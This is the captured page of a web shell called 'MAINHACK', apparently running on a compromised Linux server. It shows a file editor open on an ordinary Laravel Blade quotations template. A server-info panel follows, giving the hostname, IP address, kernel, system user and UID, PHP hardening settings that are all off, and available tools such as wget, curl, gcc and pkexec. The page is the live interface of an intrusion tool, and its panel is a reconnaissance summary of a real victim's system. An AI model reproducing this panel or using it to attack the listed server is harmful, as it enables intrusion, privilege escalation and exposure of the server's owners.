[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: list.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header d-flex align-items-center"> <span class="panel-title">{{ _lang('Quotations') }}</span> <a class="btn btn-primary btn-xs ml-auto" href="{{ route('quotations.create') }}"><i class="ti-plus mr-1"></i>{{ _lang('New Quotation') }}</a> </div> <div class="card-body"> <table id="quotations_table" class="table"> <thead> <tr> <th>{{ _lang('Date') }}</th> <th>{{ _lang('Expired At') }}</th> <th>{{ _lang('Quotation Number') }}</th> <th>{{ _lang('Customer') }}</th> <th>{{ _lang('Status') }}</th> <th class="text-right">{{ _lang('Grand Total') }}</th> <th class="text-center">{{ _lang('Action') }}</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> </div> </div> @endsection @section('js-script') <script> (function ($) { "use strict"; var quotation_table = $('#quotations_table').DataTable({ processing: true, serverSide: true, ajax: ({ url: '{{ url('user/quotations/get_table_data') }}', method: "POST", data: function (d) { d._token = $('meta[name="csrf-token"]').attr('content'); }, error: function (request, status, error) { console.log(request.responseText); } }), "columns" : [ { data : 'quotation_date', name : 'quotation_date' }, { data : 'expired_date', name : 'expired_date' }, { data : 'quotation_number', name : 'quotation_number', orderable: false }, { data : 'customer.name', name : 'customer.name', orderable: false }, { data : 'status', name : 'status', orderable: false }, { data : 'grand_total', name : 'grand_total', orderable: false }, { data : 'action', name : 'action', orderable: false }, ], responsive: true, "bStateSave": true, "bAutoWidth":false, "ordering": false, "language": { "decimal": "", "emptyTable": "{{ _lang('No Data Found') }}", "info": "{{ _lang('Showing') }} _START_ {{ _lang('to') }} _END_ {{ _lang('of') }} _TOTAL_ {{ _lang('Entries') }}", "infoEmpty": "{{ _lang('Showing 0 To 0 Of 0 Entries') }}", "infoFiltered": "(filtered from _MAX_ total entries)", "infoPostFix": "", "thousands": ",", "lengthMenu": "{{ _lang('Show') }} _MENU_ {{ _lang('Entries') }}", "loadingRecords": "{{ _lang('Loading...') }}", "processing": "{{ _lang('Processing...') }}", "search": "{{ _lang('Search') }}", "zeroRecords": "{{ _lang('No matching records found') }}", "paginate": { "first": "{{ _lang('First') }}", "last": "{{ _lang('Last') }}", "previous": "<i class='fas fa-angle-left'></i>", "next": "<i class='fas fa-angle-right'></i>" } } }); })(jQuery); </script> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002